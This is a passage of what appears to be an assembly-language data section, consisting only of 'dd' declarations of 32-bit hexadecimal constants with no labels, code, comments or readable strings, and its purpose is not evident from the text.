99F7E906h, 0B9EF058Dh dd 0BE039B73h, 0EC4C00D0h, 0FCFD4EC5h, 0A0E90D83h, 0A56F361Dh dd 30FE41Eh, 7E7CAA0h, 35C2711Eh, 2310EA89h, 1063CE67h dd 4FBBCF67h, 74465FC1h, 0F1405725h, 0D7447B68h, 3AE2A529h dd 0D5FB67FAh, 0D673B643h, 2A43DCBEh, 3E808E40h, 0CFC8B6E5h dd 0CC907925h, 4C27E9AFh, 364D139h, 6D685750h, 5F62CDD0h dd 34158EBFh, 4E7008Dh, 4BE934E1h, 6C46956Ch, 10DB4D6Ah dd 0E5113605h, 1FF9E20Fh, 5C9608A8h, 0F9E72233h, 0FB2B517Ch dd 0BE2BB52Dh, 4371EA45h, 549838AEh, 422E585Ah, 0CC64BA5Ah dd 70053EAh, 1F2A43BCh, 35C3FE52h, 5060406h, 0E8C789E9h dd 0CD10DE17h, 2586F05Bh, 3686E6BFh, 9AA7D438h, 580FCE0Eh dd 62D4A0Ch, 0F79CE909h, 3897F71Eh, 5E1B68E8h, 0EE9E352h dd 1660ACE9h, 5A62CAEFh, 7CF9CD45h, 4A2ECDF9h, 87E9863Ah dd 0CC2F0B72h, 0FC165542h, 96A5BD5Ch, 57F602EBh, 4ED8BCE9h dd 7AF6DC95h, 5B5AB1Bh, 0D28FAD90h, 59DFEB57h, 0B6E94152h dd 0DDC58429h, 0D3BB215Bh, 0DC27A2A7h, 9B0FC07h, 37440BFAh dd 5D92E190h, 0E58A59BFh, 8E900952h, 53D561A9h, 4BD2A86Ch dd 33B3C053h, 0E9151D90h, 1EEE4A77h, 0BE1655F9h, 0C1095047h dd 0C44547F2h, 8559B5E7h, 3FDFFC00h, 25F201DBh, 0B250D4E9h dd 6F17F197h, 0F9DF98E4h, 0B05205Ch, 0CD69E1B2h, 9E5EAFD5h dd 80ED4173h, 9735C457h, 95EA901h, 60EA2FFAh, 315446F3h dd 7E581BFh, 21EC3D0Fh, 0CE4CC4DAh, 0B7178C8Eh, 0EF804200h dd 6E7C064h, 14B22852h, 49554091h, 0FA09C990h, 51F61Ah dd 0B1130AC6h, 520CC22Ah, 74577897h, 0F9E90451h, 4049BB2Ch dd 58557E7Ah, 0CBDEECA3h, 78ED50C0h, 0FBCE2151h, 8D7E5AF9h dd 0BBC4F3F2h, 0C240C1CEh, 224E4139h, 708427B2h, 49FEBDFEh dd 0C2385379h, 90BEB1h, 0A0EB015Ah, 0F6257FCh, 0D3297A07h dd 0E0F2BB72h, 28404F5h, 1B1D123Bh, 8264D5h, 9FB45053h dd 0F842C480h, 7BB74140h, 6FD7DEC1h, 70693966h, 0B0CC2DDh dd 52FF298h, 0E76696EDh, 354B806Ch, 2D28ACF7h, 3C329D01h dd 0F72944B0h, 7B9F1F1Ch, 48F90874h, 0A8D6A128h, 78EC0412h dd 0B6853C1h, 61E02321h, 0A235E941h, 1CF16997h, 0AB15C3C2h dd 4FF13831h, 40C156E1h, 0E62BFB27h, 0E04237FEh, 80BDE1Eh dd 0A02085C6h, 3AB62D3Ch, 1779A25Fh, 49DF0BC4h, 502C6992h dd 0E4C8BC4Fh, 0D31C20A9h, 0B71FC451h, 4BC3AE13h, 3EB5C866h dd 41C70E80h, 0BABCEF28h, 52E03BCCh, 5B4BD3E9h, 417BD0A4h dd 0CE6E4130h, 0A88D6F32h, 86C5AC7Eh, 27DFC2B7h, 195333C0h dd 0F4C52F3Dh, 1046BE4h, 27BD82A2h, 671A01E0h, 0E9793F09h dd 4A895591h, 0A7206D5Fh, 22CF2F9h, 0CB35DB3Eh, 4ACF5280h dd 812B02A6h, 6D79FAC6h, 0A502787Ch, 60098854h, 2D32824Fh dd 0C0FE0548h, 535DE600h, 9C41E94Bh, 0B2B8124Dh, 58C70038h dd 15BD554Fh, 21C22D51h, 0E961585Ch, 5FC261FBh, 0F7EB87D3h dd 0E9134E64h, 0E8E48AF6h, 7D0A9513h, 53BC178Eh, 8FA0C6Ah dd 6300FCD0h, 0F7091FE3h, 0C07374E9h, 5A44B86Fh, 8DF618A3h dd 9FD229Dh, 0DB4FF69h, 0ED647E95h, 425F42B7h, 0CB814B00h dd 83602446h, 6AB10CAEh, 0F79D5D3Ah, 659FD634h, 611989B6h dd 5F09EC18h, 9AEC1C4Bh, 0DEA5AAB4h, 0B7860620h, 31438665h dd 0A19A2DD2h, 91872AFDh, 0FF371009h, 79D7703Ah, 0FD8804AEh dd 2CCBE65Bh, 35A63E19h, 8EE2933Bh, 0BBA934BEh, 90587F0h dd 44775162h, 78F0857h, 890A2826h, 892BE71h, 0A0B25BC5h dd 0D40DE4D3h, 5D9F7F70h, 0F64E0134h, 8A4BCF1Dh, 0EF8C243Eh dd 0AE78DC0h, 0BFDA7206h, 293C5DC6h, 100258FBh, 572E8B2Dh dd 1F133CC7h, 3EBDD3h, 3DA39EAh, 9808EDC1h, 47CC32D6h dd 0F262531Eh, 90CFD4D1h, 0F9FB2816h, 12B790A3h, 25B81930h dd 905267C7h, 10EA8134h, 68FE3F24h, 14A5F113h, 7AF79920h dd 0DB5F2DD9h, 82B977EBh, 101529E7h, 0EC4A08D2h, 5D4610CCh dd 5C8BE158h, 207F44F5h, 2C9C3DFBh, 0D7B7B089h, 3028F578h dd 0D920EFEEh, 0B060B5D8h, 25254B5Bh, 61227129h, 66C68956h dd 70E46214h, 0BD4EFADEh, 0C309CDF8h, 0DF934F0Bh, 0DF7CFE8Bh dd 3F723858h, 0C9066B91h, 726D1BA7h, 2DF3C24Dh, 5BFE1153h dd 6312B93Eh, 763207FEh, 623E2D19h, 0F4AEC249h, 0C09F3006h dd 80487294h, 0B439EF81h, 0C083004h, 0BFDC2D0Ah, 62E44B80h dd 0C7F80E60h, 1F48C20Bh, 0E9CAC024h, 5F79A15h, 8F42A405h dd 0D758FC13h, 3910F4EDh dd 1E0C6221h, 955A4672h, 0E9517A99h, 31F82FD1h, 0BEC58216h dd 8A6B5F99h, 3134A83h, 68E010ADh, 2BE1013Bh, 59C917FDh dd 7FC244BAh, 7CDD0977h, 7BE8C6CBh, 5808E916h, 5926C8EEh dd 0D521D84Fh, 0A73F2C37h, 74994819h, 553C7717h, 812F294h dd 3D6FC901h, 0E6F05248h, 5B7A7C12h, 3ACAD29h, 7D0573CEh dd 0B17A2049h, 7C115F97h, 628D3B76h, 1274C441h, 4CEAF548h dd 0BD5BFC79h, 8CF334F0h, 0E5E0B0Ch, 0F5352593h, 886A8FDh dd 0F6076526h, 42B9B1Bh, 126324h, 1854F215h, 4D04B970h dd 31510C7Eh, 6E17A1AEh, 94E393A2h, 2E41358h, 2822B311h dd 882E54E3h, 0B264E83h, 5021466Fh, 0BA314A32h, 36C889D4h dd 31F76F51h, 38A42D60h, 5045D43h, 4255400Ch, 0A028F2BEh dd 0BF61F5E9h, 6D1ADA23h, 0E3B36C8Ah, 6EE932F0h, 0BE0021BEh dd 51471D20h, 0F6F0C0D1h, 0A28E3A44h, 0F1B5E6BAh, 3A55E9E1h dd 7158F788h, 8F395812h, 412FED09h, 8D205260h, 0CD0317D8h dd 0C625BE3Fh, 0C05E0E1h, 218AA804h, 16C0FC17h, 3B57125h dd 5D78B43Bh, 57AE8497h, 67F1DE0h, 6BE916B6h, 91986DF9h dd 949C999h, 970AF8B7h, 64F15854h, 29ACF56h, 2F374735h dd 2240CD01h, 0AF2E58E7h, 55192B3Dh, 0B699D05Dh, 68885C79h dd 0C30D1674h, 0ED209299h, 4240829Fh, 163D44E8h, 66DAA671h dd 1EB8081h, 0F3D4D3F6h, 0DB0ADFBDh, 0B00349C0h, 5CE66460h dd 409E14Fh, 6A7F293Eh, 7715BCC0h, 319F9037h, 0F35D646Dh dd 0AA17E08Ch, 0BDBA3BB9h, 0BA3C1930h, 0AA40F663h, 4A892C32h dd 0A197A8F0h, 0BB3B5F54h, 9D010938h, 17A6EA4Dh, 8965DF0Ah dd 81E3E650h, 494C8053h, 8940AC4Ah, 4A7CFCCBh, 347CB750h dd 44AF1553h, 0AFAC8C98h, 0AE9726EDh, 3A79C0D1h, 85B45D03h dd 3E9FAD0Ah, 7C0C6930h, 0EE173FD6h, 0ED89EB47h, 9DA7F2BDh dd 55ADDD0Eh, 5B652F49h, 598D30BBh, 99980B52h, 787A962Eh dd 0F15F8C89h, 66F54B33h, 9EE925AAh, 0F3FFF8C2h, 6A9A6DB3h dd 5BE20BBCh, 41C2375Eh, 2DFD0A1Fh, 0CD6CE52h, 0EC44DAA9h dd 5F062EE9h, 3BECC264h, 5908D608h, 688B2FF9h, 0A3260D5Dh dd 97B89AF8h, 0CA8D1375h, 0FE49F59Fh, 7AC6DDCAh, 9DB05A02h dd 26C454B3h, 1EE208E0h, 8852427h, 9841C001h, 0BCF06BACh dd 0E538440Ah, 8313E20Eh, 0DF5C031h, 97FBBC14h, 3FC6F42h dd 6F51B383h, 0ED85CF25h, 5858070Bh, 0B9E91B93h, 0BEA48A7Dh dd 52D6CB0h, 71F21B98h, 0AA01EA29h, 0BDF0EF9h, 0F241BE3Ah dd 36DB7DB8h, 41FC0C82h, 8ED41839h, 54D0402Fh, 7770F364h dd 0D60F0095h, 726C2D71h, 0F8B72336h, 0F70782B6h, 71771242h dd 0E0D342EAh, 561F1DD8h, 994BB068h, 6227C53h, 6EA65C0Dh dd 90B9F613h, 0B3878B13h, 19C13344h, 0F56C267Bh, 57E40896h dd 80C1B301h, 0EBC12FC3h, 835C97D7h, 8C1C30E9h, 47B1BB34h dd 0B930C724h, 4D3ED404h, 97A680EAh, 7F609F14h, 2111FC0Ch dd 0D9F7276Fh, 3C53825Dh, 498B5E5Ah, 0BF646285h, 0B2AFE524h dd 43578427h, 3565A4h, 9027A213h, 158C789h, 69105D9Dh dd 0E584968h, 4645D6FDh, 0BE2B731h, 0B701FA44h, 66C965B0h dd 258125D3h, 412B7864h, 7B6F3AD8h, 7EA12E52h, 0D6BCE13Ah dd 16FF0B8Bh, 0E0C0272Ah, 1CBEE8E8h, 7E1F842Fh, 911913D4h dd 2BC96048h, 0C6149CE3h, 0E5041A65h, 0AB70BD78h, 84558B09h dd 0F8BAB33Ch, 0BD43B9E3h, 0FBE34B9Ah, 60156BC8h, 40594438h dd 0EF120E05h, 89EBA1DBh, 963E280Ah, 104960DBh, 0E0621B2Dh dd 0C2897457h, 247B1C87h, 527E6889h, 0FF8425B7h, 0BF02BE5Fh dd 0B0955C6Ch, 837A16BAh, 83BEEA00h, 16BC729h, 405090F1h dd 7A0F055Eh, 440DAC38h, 0AAF780F0h, 0E91F304Bh, 89C0265Dh dd 77DE02C3h, 0B8014FEFh, 0A3E98238h, 57FC6A7Eh, 57CBAA7Ch dd 0B6C05298h, 0CE3F3A9Dh, 0D3125FA8h, 20BAE1EBh, 0FC9D0878h dd 8473E91Eh, 259EC93Bh, 0B8128073h, 827FFDh, 1A4A2502h dd 4C3570A2h, 0C607EBEBh, 0A63109EEh, 0D0A87FFBh, 0DF6D2808h dd 9CD75883h, 0E0143CEAh, 38A45A0Ch, 4824A5E9h, 126A5345h dd 0AB316871h, 7A5F5A49h, 0C4704FC1h, 0CE28AB91h, 18B1963Bh dd 18E0D850h, 81623000h, 756B0ECDh, 0B6D9B079h, 685A04BCh dd 54DA982Ah, 0D00A2DB1h, 0E8C9DC3Ah, 2541806Ch, 665D1D9Ah dd 413D98E8h, 0D87320BAh, 0CDF1297Bh, 7AD296CEh, 83F28F37h dd 5043FE86h, 2E9FDA42h, 0E214E93Ah, 0CC795D39h, 0D65DE242h dd 0AEE958FDh, 10E48F4Bh, 9552079Ah, 0F9E1C108h, 19E5CBC0h dd 540F9A95h, 0DB0A88EAh, 71AA2912h, 74A4D346h, 534B3005h dd 0C0E3048Ch, 12B850C7h, 4F5A1F60h, 4BCA510h, 2CD50720h dd 75BF9EAh, 1AAD6CDFh, 0E79206Fh, 0BD4D777Bh, 8F044159h dd 0D4C1D4C9h, 1E7C8548h, 5C50DDCBh, 9DA85A4Bh, 0A421BEB5h dd 0A62F30BDh, 0C92192DAh, 57C86855h, 0E9210B08h, 667773ADh dd 0BA520227h, 2A907EEh, 0B440C07Eh, 950AA41Fh, 7E277E22h dd 2773590Bh, 0E2781709h, 3D1CD797h, 0E6E60D2Eh, 9DFE25A8h dd 3126DA74h, 371A1EFDh, 75A009E7h, 7C058DC3h, 3E1E6A33h dd 134094EBh, 824E1208h, 0A87C554Ch, 29F2015Ch, 89593C51h dd 0DE3D3ED7h, 945E5A30h, 1BAE828Eh, 81576D5Ah, 4DF52CCDh dd 0BBC7853Bh, 4FB70204h, 6B5DBB01h, 98989296h, 0B668C242h dd 603C741Fh, 12385121h, 13A8585Eh, 501AB4Ch, 0EDC7AEE1h dd 34C07F89h, 2D5AD5C6h, 0A2D61A08h, 0FF9D08A0h, 0E912041Eh dd 5EF17566h, 2F08B9EBh, 0A591CC2Eh, 31EEEE5Fh, 434CCA5h dd 6BA9AA01h, 0F28F7A59h, 1E365C9Eh, 0F70BAD7Ch, 0E299AE77h dd 5F6AA963h, 6DC38468h, 57FA5F05h, 0C5A0D7E9h, 0A7026F8Bh dd 14A8F146h, 6DD396FEh, 1BB961FEh, 745B02B6h, 5D2817F6h dd 59664B79h, 8E4D277Fh, 85EA5074h, 2A05EBB0h, 0DFF89458h dd 0F45B71D9h, 0E1BE08AAh, 2A9E6672h, 9D91DF8h, 31616D1Eh dd 20A1817Fh, 0F3D87E79h, 0C040F606h, 2B9DC30Ch, 4B711D86h dd 38371CC0h, 4FE91EBFh, 0BFF3849Ch, 0E3FF0724h, 0D2E9826Fh dd 68EC687Dh, 0CC764ADEh, 661369B6h, 97A92630h, 0B02E8A80h dd 0DE25E94Eh, 0B8E57DCDh, 0E8101411h, 0E0BC5E33h, 7FFCD825h dd 5F1D0509h, 53B9F338h, 54901BBAh, 5307BBDh, 922CE9D7h dd 967D5989h, 5C3D25CAh, 0B0AC2EA4h, 4A00B904h, 8176BA41h dd 1606FEF1h, 83010F03h, 0E5AD9597h, 30E53FE5h, 9558103Ah dd 52F5BAB4h, 44942479h, 0C399A12Ah, 0A71278B2h, 6B35B7C7h dd 0D4951A72h, 4E5DAA96h, 28E5025Dh, 84D066D1h, 77E4B72Fh dd 57AC8710h, 92F95E81h, 9BEAB43Eh, 0D3333B5Ah, 0C2A15D38h dd 0E677A125h, 35762775h, 0C7A35DFAh, 65DBFDF1h, 2E23FDD7h dd 0F280C203h, 0A2C2984Eh, 0FAD34A88h, 425518Ah, 0B322C07Fh dd 0AD5D8154h, 0B5C374DCh, 65C8FA0Ch, 0F2F34BA5h, 0B257890h dd 0C04A715Eh, 350DEDBDh, 967A0B98h, 895659B5h, 945F5978h dd 3DED0464h, 81C64214h, 1A0C8EDh, 0E67FF029h, 7E2D00DCh dd 0E920DB03h, 26676FF6h, 2870AC40h, 0E0975A7Ch, 2C20D585h dd 176513F9h, 9198EE9Fh, 685E09F1h, 332243BAh, 0FE5704Ch dd 0D2BF2D13h, 7D6FECDh, 2A4BE181h, 0E0DB0F4Ah, 5AA2C401h dd 0EA4AC5CEh, 4DAC9513h, 8718332Eh, 2151665Ah, 0D8501DB9h dd 3D5CDD05h, 738730CAh, 4C3FDBC3h, 2128F935h, 48D12FC5h dd 580B6A2Eh, 0C8016CE6h dd 0E973F961h, 4396B46Eh, 5234AAEFh, 0FE71D4FFh, 0B96A0AD9h dd 8AE9C3DEh, 510025Ch, 3FF81D4Ch, 44EAD24Bh, 75AC62D7h dd 84E3AFF1h, 0FDEA840Eh, 0F8B0F2B6h, 0F688A19Eh, 0F6504220h dd 0F5019DF0h, 0C9022C58h, 4D0C064h, 9B9053E8h, 7B053D4Ah dd 7FE5D5Eh, 0B016F022h, 78942D45h, 0E736132Ch, 9466100h dd 496FE92Eh, 0E2127AE8h, 547D09D1h, 2FA5F857h, 0BF052866h dd 81F943D4h, 4CD9B5CFh, 0AA2246Eh, 33CB3909h, 8E8057D1h dd 2B3B05F7h, 813E2947h, 17C9918Fh, 0AEF901E5h, 49B89064h dd 0BB4247C5h, 8A5FDCA3h, 4325D257h, 0BC71F445h, 7E6EF220h dd 13E5C66h, 86075758h, 0E2619556h, 4E14BCDh, 0C50C825Eh dd 0F535B43Eh, 1502E440h, 820C326Fh, 0DD5C6316h, 58C20F90h dd 5D532065h, 30E9F388h, 0BB769D52h, 93257235h, 0B2AF071h dd 9284C988h, 190FC2F2h, 0B27E14Ah, 9E66B8F8h, 0F7B9C0F2h dd 124A0352h, 0E4880CC3h, 46BA95E3h, 2862F577h, 5723B806h dd 0C981183h, 25D23645h, 440F430Ch, 9229762Fh, 10AC8D13h dd 0EECBBB4Eh, 9E75A85Fh, 507E080h, 7DFBF684h, 275A6BEBh dd 57878109h, 75C2A3D0h, 68D5E902h, 5D215E2Bh, 88B067E5h dd 48BD0D5Ah, 68105F77h, 2D660572h, 7E3135E2h, 0AD0256A8h dd 634888E2h, 14AAE68h, 4EEC62DDh, 85EF9143h, 0AAC9B8E9h dd 0E90C4E9Bh, 5F226937h, 0E818C169h, 3C28C330h, 0BFDADA53h dd 8C0B91Fh, 2AE94A78h, 1F599F7Fh, 0E0D8A181h, 5B300983h dd 745627E9h, 0C59426FAh, 22B20BBh, 95186568h, 9B405F72h dd 3C5E306Eh, 0DFE4A0h, 57605B5Eh, 67ABBE56h, 31033712h dd 0C42E30F5h, 0EB0C12DBh, 18B9F1E4h, 0B8700BFEh, 931641C1h dd 2A49B2ECh, 0DAD50921h, 0BF562027h, 285743B0h, 9E7F16B4h dd 0D112D2D1h, 23DDB451h, 95772188h, 0C0B0917h, 514B5551h dd 685257B8h, 0B7493C09h, 0B2DD05Dh, 6385398Ah, 0E59DC9F5h dd 0D36F8C2Bh, 38405C98h, 0A282768h, 8B478F51h, 0BA3A5F79h dd 27A547F7h, 4BC0ADF4h, 1364F46Dh, 1D03EFC1h, 1DB83B49h dd 1B52FA8h, 4BA148C6h, 2A5917E9h, 0E6CB6B4Fh, 92264B4h dd 275D7916h, 7D0B6680h, 0D10B1393h, 21D5E9EFh, 0AAB05027h dd 7FDE55C2h, 927FB41Eh, 90BFF0F3h, 0AD7C194Ah, 90E1B4C0h dd 0F6267D0Ch, 0D1824A73h, 256A5Ah, 24C4F281h, 1ED9667h dd 54062EEAh, 72052048h, 21E6581Ch, 0D1B1D56Dh, 4A43F4Ah dd 0CB100ABEh, 9AC3120h, 0A3E4AF15h, 5C4E9DF0h, 8252CC4Bh dd 40338FEh, 0CA9AC04Dh, 89E67E54h, 0C15DEA07h, 61CF05E2h dd 2C336129h, 21ED6283h, 1E05775Ah, 3FF7E906h, 59EBC345h dd 56C868A8h, 2AEA4612h, 0F2E917A9h, 0C5EEEE85h, 17C80B42h dd 0D756552Bh, 84E62C2h, 5AC1028Eh, 46E22DDBh, 1B460A7Fh dd 0EE8B57E9h, 0E85F1344h, 0ABC224FAh, 5B5BA0A0h, 892E8C57h dd 0AFD8CF4Ah, 75FE97C6h, 9AC5625h, 5B5F637Eh, 0B85080F3h dd 517F30F3h, 0D893D7A1h, 0B5BA7A88h, 6C05357Eh, 0B4E91718h dd 82C7CB52h, 0CA447C20h, 6789D7Fh, 0E03E7A3Eh, 697EB718h dd 0AB72BF4Fh, 205B0881h, 0FA4067CEh, 450609BAh, 0D87D1CF1h dd 18CE3ACDh, 9EA7B28h, 630409C6h, 2F65F82h, 152E4C0h dd 0D421F749h, 40E8B5A7h, 3F7C7C7h, 0C04703Dh, 59550B98h dd 1A70D4FAh, 140BC008h, 0B6E9DA02h, 681456D8h, 802E780Bh dd 65207673h, 0F211D25h, 2EEB264Ah, 9AC42507h, 0E72D6127h dd 0C801092Ah, 3FC2FB5Fh, 678AAE4Ah, 0B3453F30h, 0DB63F67Ah dd 0D7EB8004h, 0CBBED804h, 0CDB70615h, 1861F828h, 0C718CBE9h dd 788B5BF2h, 4C7D221Ah, 0E67BCC25h, 0E9550900h, 6A72651Ah dd 0C4185102h, 7DDA3150h, 840BE8EDh, 83917630h, 0C3B252E8h dd 0FE34C2B0h, 0BC04ACE7h, 0D520D905h, 9EEB2CEEh, 9D593340h dd 5D9DD5C6h, 0E9059380h, 5595ADD6h, 574BC734h, 68E095B8h dd 67CB0A88h, 306C22ACh, 0F663B8D8h, 9D56F2D0h, 0ED20D570h dd 2C5C76B8h, 0AD14E749h, 68628BD1h, 371C5AACh, 0B08F71B8h dd 4FD74CC2h, 0E2B5A4F6h, 49B8F91Ah, 0A2CE8284h, 9680AADh dd 0E963D536h, 1FC8FDD7h, 3A059F9Eh, 0C5D7BC01h, 0DAEFC183h dd 90E9098Dh, 0CC80C818h, 0D683D75h, 0FE5F30D8h, 0CF120953h dd 0F6763B09h, 0B6F4A55Ah, 407153h, 54DED39h, 0B212C64Ch dd 0E6DEE91Ah, 0A5507FC3h, 3C5A2EF4h, 20DAD091h, 0B917C204h dd 89FC416Ah, 180E400Fh, 915656Ah, 2CE972B3h, 4832460h dd 5930469Fh, 9A55DFC7h, 68BB687Ah, 0C71E752Ah, 82F1515Ah dd 0E9F0EB2Ch, 66BD7F4Ah, 677820A5h, 379ABE04h, 0BCEB866Fh dd 9412629h, 0F8722F40h, 967B807h, 518C7CEh, 67EE7C80h dd 0E4B6202h, 0FC3020ECh, 18E8C1A3h, 0B0C8312Ch, 0FFC48A16h dd 0D48B84ABh, 6E8EFFBh, 0FAD48BA3h, 0E9B1DABDh, 9496E53h dd 0BB1DED5h, 0EB8907E1h, 94EA6185h, 0FB04AF2Eh, 8003284Fh dd 0FA8162EFh, 0C34F325Bh, 966D030h, 2D95687Dh, 15941BB1h dd 96D8B6EFh, 0BD17A0A7h, 5AF6CAF5h, 13B1AFE8h, 5B12872Ah dd 0D0054F2Ch, 7F4DB0C2h, 0DAA5E045h, 27870D34h, 702A1BEDh dd 0A600BB84h, 2D7B7213h, 0B73750Bh, 52D8013Ah, 0A679601h dd 0A4BAF880h, 0BEF36A02h, 0FFD30EE9h, 39FC521Ch, 66100D63h dd 0A247D3BEh, 8003DD46h, 1D9DC6Ah, 706B20F5h, 8C9051BDh dd 0C753964Dh, 9B224005h, 46BA5965h, 94262301h, 0CC11E912h dd 0BA6174BEh, 82E514ECh, 0BE00222Dh, 90530C17h, 21652027h dd 6C46818h, 95678529h, 0D6E236F6h, 0F4A5A95Eh, 0CFAF4227h dd 41B60500h, 69E39D1Fh, 0E0AD5825h, 25685564h, 1E596CEFh dd 287ABBEDh, 25B85362h, 0F7341A09h, 3AFD025h, 298A5243h dd 178C3AE9h, 2C2938AEh, 0B9F4C382h, 12F1E969h, 0FB4E8E39h dd 1ACC212h, 0C8102305h, 86DD006Eh, 0E91D4338h, 24688B24h dd 1CDF898Bh, 0D0C05257h, 67B2CA01h, 704A207Dh, 4718B855h dd 270F1EA7h, 0B6690942h, 0C816D089h, 252A2D00h, 64E916F9h dd 70BAAADAh, 6DE53087h, 0A716F263h, 5636216h, 81EF4A95h dd 65F6AA02h, 106F2931h, 680BA924h, 3B9B20E7h, 771CEC37h dd 3B45865h, 67906012h, 222D2FC5h, 0E1F8295Ah, 0ADD57524h dd 8433095Fh, 4008468h, 53526623h, 5165B700h, 0F1800CB1h dd 0CE88278Ah, 0D62F1679h, 0B57C8907h, 0D9FABB5Fh, 0D13F5B72h dd 4D52C8Fh, 0D6679381h, 0FBFA213Eh, 0AC0E833Fh, 85396068h dd 0CB57E3BAh, 9D74F0F4h, 7D00F158h, 36EA8141h, 4F497811h dd 45BB129h, 505D8B08h, 9287938h, 0F224839Ch, 6F023A5Eh dd 6077DC24h, 3B21C739h, 0CB057CF3h, 0C22E3D16h, 0F37E65DEh dd 3EDDBF01h, 0C8E834ACh, 0CD47BDAFh, 7B022D0Bh, 0C9E52575h dd 7148E905h, 47F06AECh, 27026531h, 33ACA7BFh, 5C425787h dd 7538D240h, 4D80A5AAh, 6F7318D4h, 73251BFh, 0AA314628h dd 0DE1D3D8Dh, 79E9857Bh, 0C460F42Ch, 96C46858h, 0F6D2305Dh dd 0CD636EDh, 0EBA3850Ah, 9791D295h, 53D798FDh, 0B4DF25E9h dd 25629656h, 1DCD9C3h, 536E07BFh, 6032010h, 0BD1C7A50h dd 8DE3CA4Fh, 0F1718B9Fh, 0FCA0A05Eh, 2D883436h, 3EF6BEB0h dd 45264593h, 0A841526Ch, 8CBBB450h, 0F5BE925h, 2E4CB0EDh dd 0A04CF4B7h, 0E324C168h, 8D030003h, 3E7A7542h, 6C3E71F2h dd 0B2131A5h, 253674E9h, 0BCC0C664h, 0F82668DBh, 24025928h dd 5F556247h, 0F78B1BD6h dd 708F80D7h, 24188F26h, 5A51C709h, 56177AC0h, 0C8780D2Fh dd 9F2336E7h, 0FA882625h, 0D8EF67C5h, 109558B5h, 0BFC1D92Ch dd 7A408F6Ah, 0FC2F0A1Eh, 0BD64942Ah, 4058EFFEh, 0E6C4AA43h dd 0DE891945h, 0D060505Bh, 1343545h, 819F6F1h, 0D86A5F70h dd 209D8D41h, 7723F356h, 89131348h, 0CDBB04D9h, 0BCEF8059h dd 1D760A19h, 449BF504h, 8ED4776Ah, 4A0E97D8h, 0CD8F46FCh dd 0C3178F2Fh, 4FF5526h, 943BEFFBh, 7365AD8Ch, 4E226D0Bh dd 27024C08h, 0F3D66F74h, 0C5F31ECDh, 57542292h, 0C6322C71h dd 424BDE97h, 765D27BBh, 0F15D5A1Ah, 19F1423Dh, 0BDA3CC55h dd 0CE5DBEF8h, 14149B5h, 41A760C8h, 812FEBD1h, 2BDBF7BDh dd 97DDE3F8h, 481303EAh, 0FE78DA09h, 2D4AF812h, 0C5BD3400h dd 0B507CE34h, 0E904DF59h, 0F2BA7AF6h, 84E3DA41h, 13FA5FB6h dd 6C9AFEBAh, 0C884E90Bh, 37DC44D7h, 0E099E774h, 6F1F135Dh dd 2794D7F6h, 0D1535A0Bh, 0FA025377h, 66395BBCh, 2A5F529h dd 0A50A1A05h, 771EE61h, 5A4F5FB9h, 1821916h, 129D585Dh dd 0F3457C68h, 91A1C86h, 2F1E7D27h, 3A585DA9h, 7BB92DEAh dd 0CA1004E6h, 0F65F2F79h, 7EDCAD65h, 0A48EDED8h, 373A0999h dd 0A800A267h, 621029Eh, 801CF69Dh, 46740D98h, 0B190FB01h dd 0A1F9E0Fh, 55EFC060h, 0EC36F038h, 24AA01E7h, 0BCE90315h dd 258BBB39h, 0EEC8F51Bh, 0E002860h, 51490508h, 92D5DC5h dd 2E1359B5h, 31692000h, 9DB170CEh, 587F0820h, 3A8AE200h dd 0E94A445Ah, 9C9D4A37h, 7EF8F288h, 44FADF5Fh, 1443578Fh dd 59B4132Ch, 9F849EA2h, 0DFF60099h, 7686C7FEh, 9D160CFh dd 88F780D7h, 5B2E287Eh, 7F1A4066h, 0BE825F0Eh, 0C02E7024h dd 0D9E6EE78h, 0FB7C9F31h, 29010512h, 0E6452C9h, 28200D20h dd 338B25ECh, 5782369Ch, 8B286CB1h, 0D6F72146h, 0FEC7C5C5h dd 1E5B7DCCh, 0A44EE976h, 0A95013FCh, 0F8AD4B08h, 4032C071h dd 5D27862Ah, 0DD959E9Ah, 0F22F689Ch, 0C2B4D153h, 0D3467846h dd 3ECBF1BDh, 93599F4Dh, 0CC015B67h, 0D89CA86Ah, 2606BD01h dd 1BA563A6h, 2C16F0D0h, 50EF05FDh, 0E350089Bh, 858A9E6Eh dd 0EC0114D8h, 319D0511h, 0D4AB7F71h, 80816E0h, 59096CE2h dd 0C3B37F8Fh, 7843C80h, 0D9E8012Fh, 0DC7C493Dh, 0F570938Bh dd 2D12BECCh, 0BBF620Bh, 0C9580127h, 0D1840F09h, 685D21A6h dd 0DC233742h, 0A981533Ch, 0E93E752Fh, 9A95BA51h, 570A23C0h dd 58CB6251h, 2C6220EAh, 85A17F95h, 0C2301468h, 9242EEFDh dd 7B7A209Bh, 0DB7016A0h, 0AF8A6DC8h, 8E749440h, 984DD82h dd 4B1CF35Bh, 702F93ABh, 0BD49354Fh, 897A0FACh, 7CEDA9B9h dd 38685824h, 7B26AF94h, 66B0F12Eh, 14F681h, 926E754h dd 4166E9F0h, 0A6EB48D2h, 0CEEED798h, 6858059Eh, 33AF034Ch dd 0CCDC44B3h, 0B9045184h, 722908C9h, 37B88980h, 0F0734F82h dd 8C5DE9F0h, 0F30112E2h, 0FFB05816h, 253890BFh, 2EE3F234h dd 0B44CF5FAh, 0AEE1C59Fh, 64866395h, 0D4F601E8h, 767606A2h dd 0B30D3065h, 0DA60632h, 382210CBh, 74A05B2Dh, 402B789h dd 0CA47B88Eh, 60876885h, 0B2C1A6ECh, 2ED2F6FBh, 8AC20205h dd 4176C20Ch, 0E0C606C7h, 0D8294C9Dh, 4000429Fh, 0B5344576h dd 74550B98h, 3DAAF882h, 51347B0h, 28B8E05Fh, 0F766880Bh dd 177A83DDh, 0E053E249h, 5574758h, 0EF31C439h, 5ED8985Dh dd 2C4038B0h, 6AAAEC41h, 1625634Ch, 1990E248h, 786E535Fh dd 0B3E4447Eh, 58001237h, 0B2045DC1h, 0FCB6B01Bh, 12E09AC2h dd 0B811D768h, 9C59C546h, 0EDE2A8D7h, 0BF0EA06Ah, 48940799h dd 42041029h, 0EA5B0C15h, 4D030814h, 0C480028Bh, 8ECC28FDh dd 0C959AFC8h, 4F32D0A1h, 1C97CB54h, 0D72D6EF3h, 3EED8E14h dd 290329ECh, 56E3E9D6h, 0E57A1A41h, 25933C20h, 0BAD4405Fh dd 0D77D0050h, 0F7EAD16Ch, 0D2E642DAh, 4F38E93Dh, 21C96DE5h dd 0B1AEE545h, 84837E6Fh, 0D20848A3h, 0B4D85C27h, 0EE10FE64h dd 4D053058h, 11F207Eh, 0BBCD53F0h, 0E0301CBEh, 693C5C71h dd 47DF7491h, 4A229168h, 7F97BBA7h, 85B0ED3Dh, 3D8285F5h dd 